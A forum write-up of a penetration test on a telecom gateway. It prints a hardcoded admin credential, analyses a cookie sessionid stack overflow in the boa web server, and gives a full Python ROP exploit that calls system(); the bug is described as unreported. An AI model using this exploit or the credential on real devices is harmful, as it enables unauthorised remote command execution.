首页
社区
课程
招聘
记一次网关设备的pwn
2021-6-10 12:50 30503

记一次网关设备的pwn

2021-6-10 12:50
30503

00.前言

在这次出差时,对甲方办公网备进行了渗透测试。

 

期间搞断网了好几次,最后在领导的要求下就没在用真实设备来做测试了。
所以此次pwn测试使用了qemu进行模拟.

 

由于真实设备没路子搞到,也不知道设备所属厂商是谁,所以也没进行上报,算是一个0day吧。

01.获取设备shell

先来看看web登录界面如下

在之前购买相同登录界面的设备固件中发现内置了一个帐号
telecomadmin/nE7jA%5m
登录成功

如此看来该系列都会内置如此的帐号。
随后查看了一圈功能发现了拥有telnet服务,但是没有开启,也有别的rce漏洞可以用,这里直接强行开启telnet服务。
通过修改前端的html标签的属性成功开启了telnet服务

登录telnet后并打包系统

系统文件

02.模拟环境

通过端口查看到web服务对应的进程是/bin/boa的文件,架构是mips大端。
直接使用qemu来模拟执行,需要修改boa里一点点代码逻辑即可成功运行,不做多描述。
cmd输入命令

1
chroot ./ ./qemu-mips-static -strace ./bin/boa1


因为缺失很多硬件的数据,所以这里只能访问到基本的页面。

03.漏洞挖掘

ida查看部分函数

存在漏洞的函数
search_login_list

get_sessionid_from_cookie

可以看到,在get_sessionid_from_cookie函数中并没有指定sessionid的长度。
通过qemu添加-g来可以通过ida来调试
栈溢出
sscanf执行前
可以看到,a2由s0来指定,s0的值是0x407FFD28

0x407FFD54是返回地址
sscanf执行后
可以看出,这一整块栈数据都被'a'填充了,包括返回地址

 

由此证明,可以通过超长的sessionid来进行栈溢出攻击。

04.漏洞利用

通过ida的插件mipsrop在libmib.so寻找到大量的rop,最终选定可用的两个


通过该rop调用system,由上面代码可以看出
计算出payload的大小为:0x23C-0x20=0x21C
sp+0x20为payload
sp+0x23C为system函数地址
构造的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from socket import *
HOST='192.168.92.129'
PORT=80
BUFSIZE=1024
ADDR=(HOST, PORT)
tcpCliSock=socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
rop_ImageBase=0x3FECB000
rop_offset_1=0x000ACCE0
rop_offset_2=0x0001DAB8
rop_Addr_1=rop_ImageBase+rop_offset_1
rop_Addr_2=rop_ImageBase+rop_offset_2
libc_ImageBase=0x3fa8e000
_system=0x0005EDD0
 
Function=_system+libc_ImageBase
print(hex(Function))
MaxShellBufSize=0x21C
Shell=b"echo PwnByWowfk"
Shell+=b"&echo "
FkData=b"aaaa"*11                        #填充栈到返回地址
FkData+=rop_Addr_1.to_bytes(4,"big")    #ra     跳转到rop_1设置a0参数
FkData+=b"aaaa"*8
FkData+=Shell+b'a'*(MaxShellBufSize-len(Shell))
FkData+=Function.to_bytes(4,"big")        #s0        用于调用api
FkData+=b'None'                            #s1
FkData+=rop_Addr_2.to_bytes(4,"big")    #ra     由rop_1调用跳转到rop_2
FkData+=b'\0'
print(len(FkData))
 
data=b"""GET /wowfk HTTP/1.1
Cookie: sessionid=%s
 
 
"""%FkData
print(data)
tcpCliSock.send(data)
while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
        break
    print (data.decode("gbk","ignore"))
tcpCliSock.close()

最后执行效果如下

05.结语

qemu的模拟对imagebase查看的话用ida附加后在main下断点然后在qemu加-strace可以在输入信息可以看到
第一次搞mips的pwn磕磕碰碰了许久才折腾成功,学到了很多东西。
由此发文记录一下~

06.关于wmsuper

那是真滴牛批.


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞11
打赏
分享
最新回复 (20)
雪    币: 229
活跃值: (203)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
5keeter 2021-6-10 12:50
2
0
牛皮牛皮。学习了
雪    币: 2328
活跃值: (4369)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
Dyingchen 2021-6-10 12:56
3
0
tql
雪    币: 12589
活跃值: (14295)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
wmsuper 7 2021-6-10 13:00
4
0
太强了
雪    币: 4709
活跃值: (1544)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
如斯咩咩咩 2021-6-10 13:35
5
0
tql
雪    币: 4187
活跃值: (1954)
能力值: ( LV4,RANK:42 )
在线值:
发帖
回帖
粉丝
蜜蜂啊 2021-6-10 13:57
6
0
tql
雪    币: 8012
活跃值: (5205)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
mudebug 2021-6-10 19:43
7
0
tql
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2021-6-10 23:27
8
0
牛逼,这是哪款猫?
雪    币: 2035
活跃值: (4880)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
零加一 3 2021-6-11 09:07
10
0
bxc 牛逼,这是哪款猫?
这个不知道,应该是msg系列吧
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2021-6-11 10:21
11
0
零加一 这个不知道,应该是msg系列吧
设备信息里有型号吗?
看你分析的几个文件名,CPU应该是瑞昱的。
雪    币: 12589
活跃值: (14295)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
wmsuper 7 2021-6-11 10:27
12
0
bxc [em_13]设备信息里有型号吗? 看你分析的几个文件名,CPU应该是瑞昱的。
目测上海贝尔的
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2021-6-11 10:59
13
0
wmsuper 目测上海贝尔的
雪    币: 2035
活跃值: (4880)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
零加一 3 2021-6-11 14:06
14
0
bxc [em_13]设备信息里有型号吗? 看你分析的几个文件名,CPU应该是瑞昱的。
msg1200e吧,没见过设备
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2021-6-11 14:13
15
0
零加一 msg1200e吧,没见过设备
好的谢谢
雪    币: 6
活跃值: (980)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lookzo 2021-6-12 15:46
16
0
过于牛批
雪    币: 39
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
haha2 2021-6-15 09:42
18
0

雪    币: 174
活跃值: (178)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
co0k1e 2021-6-22 14:01
19
0
tql,关注了
雪    币: 132
活跃值: (543)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
China龍星 2021-8-20 00:22
20
0
yyds
雪    币: 242
活跃值: (250)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_没有彩虹的阳光 2021-12-1 17:28
21
0
那个内置账号很复杂的样子?这都能找到?
游客
登录 | 注册 方可回帖
返回